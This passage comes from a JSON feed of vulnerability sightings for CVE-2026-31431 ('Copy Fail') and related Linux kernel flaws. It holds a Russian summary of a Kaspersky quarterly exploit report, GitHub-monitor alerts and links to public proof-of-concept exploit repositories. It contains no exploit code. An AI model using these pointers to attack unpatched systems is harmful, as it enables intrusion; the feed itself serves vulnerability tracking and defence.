\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2026-08-30T01:00:04.235961Z"}, {"uuid": "7604d48e-e5c4-44a2-8329-076b284b8777", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/S_E_Reborn/6571", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432 \u0437\u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2026 \u0433\u043e\u0434\u0430.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c \u043a\u043e\u043d\u0441\u0442\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f. \u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 CVE \u0434\u043e\u0441\u0442\u0438\u0433\u043b\u043e \u0431\u0435\u0441\u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u043e \u0447\u0430\u0441\u0442\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445.\n\n\u042d\u0442\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043e \u0441 \u043f\u043e\u0432\u0441\u0435\u043c\u0435\u0441\u0442\u043d\u044b\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u0418\u0418 \u043a\u0430\u043a \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0442\u0430\u043a \u0438 \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041a\u0430\u043a \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435, \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0446\u0435\u043b\u044b\u0435 \u043a\u043b\u0430\u0441\u0441\u044b \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0412\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u0442\u0430\u043b\u0438 \u0447\u0430\u0449\u0435 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b \u043a \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c. \u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0440\u0435\u0437\u043e\u043d\u0430\u043d\u0441, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442 \u0432 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 Windows \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043a \u043d\u0438\u043c: \u043d\u0435 \u0434\u043e\u0436\u0438\u0434\u0430\u0442\u044c\u0441\u044f, \u043f\u043e\u043a\u0430 \u0438\u0445 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0442, \u043d\u0435 \u0433\u043e\u0432\u043e\u0440\u044f \u0443\u0436\u0435 \u043e \u043f\u0430\u0442\u0447\u0430\u0445.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c Nightmare Eclipse (\u0438\u043b\u0438 Chaotic Eclipse) \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u0441\u043f\u0438\u0441\u043e\u043a \u043d\u043e\u0432\u044b\u0445 \u00ab\u0438\u043c\u0435\u043d\u043d\u044b\u0445\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Windows (BlueHammer, RedSun, YellowKey, GreenPlasma, RougePlanet, UnDefend).\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0441\u043b\u0443\u0447\u0430\u0438 \u043f\u043e\u043a\u0430 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u044b, \u0432 \u041b\u041a \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u043e\u043d\u0438 \u043f\u0435\u0440\u0435\u0440\u0430\u0441\u0442\u0443\u0442 \u0432 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u0442\u0440\u0435\u043d\u0434. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0430\u043d\u043d\u044f\u044f \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u0430\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u043e \u043f\u0435\u0440\u0435\u0434 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438, \u0443 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435.\n\n\u0422\u0430\u043a\u0436\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u00ab\u0437\u0430\u0441\u043b\u0443\u0436\u0435\u043d\u043d\u044b\u0435\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u041f\u041e \u0434\u043b\u044f Windows, \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u043a \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u044e\u0442 \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u044d\u0442\u043e CVE-2018-0802 \u0438 CVE-2017-11882 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Equation Editor; CVE-2017-0199 \u0432 Microsoft Office \u0438 WordPad; CVE-2023-38831 \u0438 CVE-2025-6218 (ZDI-CAN-27198) \u0432 WinRAR; CVE-2025-8088 \u043f\u043e \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0443 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430\u044f CVE-2025-6218.\n\n\u041f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.\n\n\u0412 Linux \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0442\u043e\u0436\u0435 \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c \u0447\u0435\u0440\u043d\u0430\u044f \u043f\u043e\u043b\u043e\u0441\u0430. \u0422\u0430\u043a, \u0431\u044b\u043b \u0440\u0430\u0441\u043a\u0440\u044b\u0442 \u043a\u043b\u0430\u0441\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Dirty Frag, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u0441\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430, \u0442\u0430\u043a \u0438\u043b\u0438 \u0438\u043d\u0430\u0447\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u043b\u0438\u0441\u044c \u043a \u043a\u044d\u0448\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435: CVE-2026-31431 (Copy Fail), CVE-2026-43284, CVE-2026-43500 (Dirty Frag), CVE-2026-46300 (Fragnesia), CVE-2026-31635 (DirtyDecrypt), CVE-2026-43494 (PinTheft) \u0438 CVE-2026-46331 (pedit COW).\n\n\u0412\u0441\u0435 \u043e\u043d\u0438 \u0441\u0440\u0430\u0437\u0443 \u0441\u0442\u0430\u043b\u0438 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0441\u0440\u0435\u0434\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0442\u0430\u043a\u0436\u0435 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u0442\u0430\u0440\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: CVE-2022-0847 (Dirty Pipe), CVE-2019-13272, CVE-2021-22555, CVE-2023-32233.\n\n\u0412 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043f\u043e \u0442\u0438\u043f\u0430\u043c \u041f\u041e \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0430\u0432\u043d\u043e \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u043b\u0438 \u0432 \u0432\u044b\u0431\u043e\u0440\u043a\u0443. \u0422\u0430\u043a, \u043c\u044b \u0441\u043d\u043e\u0432\u0430 \u0432\u0438\u0434\u0438\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u0442\u0430\u043a\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b, \u043a\u0430\u043a SharePoint.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0432 APT-\u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430\u043c\u0435\u0442\u0438\u043b\u0441\u044f \u0442\u0440\u0435\u043d\u0434 \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u0440\u0430\u0437\u0443 \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u0438\u0445 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c, \u043a\u0430\u043a \u0438 \u0440\u0430\u043d\u044c\u0448\u0435, \u0432 \u041b\u041a \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0438 \u043c\u043d\u043e\u0433\u043e 0-day. \u0421\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u043e\u0441\u043e\u0431\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Langflow - \u044d\u0442\u043e \u043e\u0434\u0438\u043d \u0438\u0437 \u043f\u0435\u0440\u0432\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432, \u043a\u043e\u0433\u0434\u0430 APT \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0418\u0418, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0435\u0439\u0447\u0430\u0441 \u0432\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u0445 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442 \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c.\n\n\u0421\u0430\u043c\u044b\u043c\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u043c\u0438 C2-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430\u043c\u0438 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f Sliver, Havoc, Adaptix\u04212 \u0438 Metasploit.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2026-08-30T01:00:04.279600Z"}, {"uuid": "8e7f3c5e-be35-4d5d-bb3c-a6d6bf82b164", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/CaZ2R0Efl1eBRVqO-sOZ66dFvtq0H_ENlFRwe45W-O_e0iQ", "content": "", "creation_timestamp": "2026-08-01T00:00:10.922452Z"}, {"uuid": "942609cc-c776-4492-b03d-8458a4d9b5c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mloafgviij2d", "content": "ReversingLabs tracked 163 samples tied to CVE-2026-31431, with activity starting before the embargo break. The Dirty Frag/Copy Fail chain spans ELF, Python, and a malicious PyPI wheel. #DirtyFrag #CopyFail #PyPI", "creation_timestamp": "2026-05-12T16:45:29.155545Z"}, {"uuid": "698e30d4-caa5-4774-be95-41b9de8df8b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83963", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfail-fix\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a paulorlima9\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-12 15:23:22\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nQuick mitigation and patch script for CVE-2026-31431 (Copy Fail) on Ubuntu/Debian VPS\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-12T16:00:05.000000Z"}, {"uuid": "f15bf589-5afd-4724-b9c5-27d90110cf24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/captainsmok3r_official/336", "content": "copy-fail-cve-2026-31431 PoC:\nhttps://github.com/theori-io/copy-fail-CVE-2026-31431", "creation_timestamp": "2026-05-12T20:08:40.000000Z"}, {"uuid": "d1f867c2-0e6b-46b3-820a-af84d207a4f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/95995", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a SG-2026-0013\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a TeamN4C\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-31 10:16:46\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31431 Copy Fail PoC and exploit\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-01T00:00:32.056749Z"}, {"uuid": "2daf94c8-cba5-4c83-9144-15dd580e3332", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T18:00:00.000000Z"}, {"uuid": "c6e810d4-5874-41da-8efd-b9de0d3acb29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mlpb3on5ls2s", "content": "Top 3 CVE for last 7 days:\nCVE-2026-43284: 129 interactions\nCVE-2026-43500: 94 interactions\nCVE-2026-31431: 76 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-45185: 8 interactions\nCVE-2026-41940: 5 interactions\nCVE-2026-42208: 5 interactions\n", "creation_timestamp": "2026-05-13T02:30:29.367487Z"}, {"uuid": "2c8f0274-f5ec-4fdb-bad9-8c1ad38a574d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/wdormann/statuses/116564950057858680", "content": "I put some words all in one place about Copy Fail CVE-2026-31431, Dirty Frag CVE-2026-43284 and CVE-2026-43500, and friends:https://tharros.com/copy-fail-dirty-frag-and-friends-linux-kernel-vulnerability-coordination-in-the-modern-world/", "creation_timestamp": "2026-05-13T02:40:01.960257Z"}, {"uuid": "e5ad379d-e908-40b1-956c-332e28f9828f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/wdormann.infosec.exchange.ap.brid.gy/post/3mlpbmfkh4vz2", "content": "I put some words all in one place about Copy Fail CVE-2026-31431, Dirty Frag CVE-2026-43284 and CVE-2026-43500, and friends:\nhttps://tharros.com/copy-fail-dirty-frag-and-friends-linux-kernel-vulnerability-coordination-in-the-modern-world/", "creation_timestamp": "2026-05-13T02:40:11.329049Z"}, {"uuid": "dcee188d-1955-4d4e-b1d6-9ae2d6790551", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31419", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "88ac0396-865e-47ad-8887-155c2ad01a10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31709", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "7b7b67b5-793a-4ada-8b8d-3fee2aee3df5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31715", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T20:00:00.000000Z"}, {"uuid": "4fd33947-a981-490a-b3da-710347aafda7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31790", "type": "seen", "source": "https://t.me/sysadm_in_up/2546", "content": "OpenSSL Security Advisory [7th April 2026]\n==========================================\n\nIncorrect Failure Handling in RSA KEM RSASVE Encapsulation (CVE-2026-31790)\n==========================================\n\nhttps://openssl-library.org/news/secadv/20260407.txt", "creation_timestamp": "2026-08-04T00:00:10.389201Z"}, {"uuid": "725775ed-e0b8-4b9e-961c-22145148f9cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/n0vedad/1a9700a74e76fb982fe5788147bf0484", "content": "", "creation_timestamp": "2026-05-13T09:47:14.000000Z"}, {"uuid": "5202e068-4e32-4803-bc6a-a1e5963a63e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 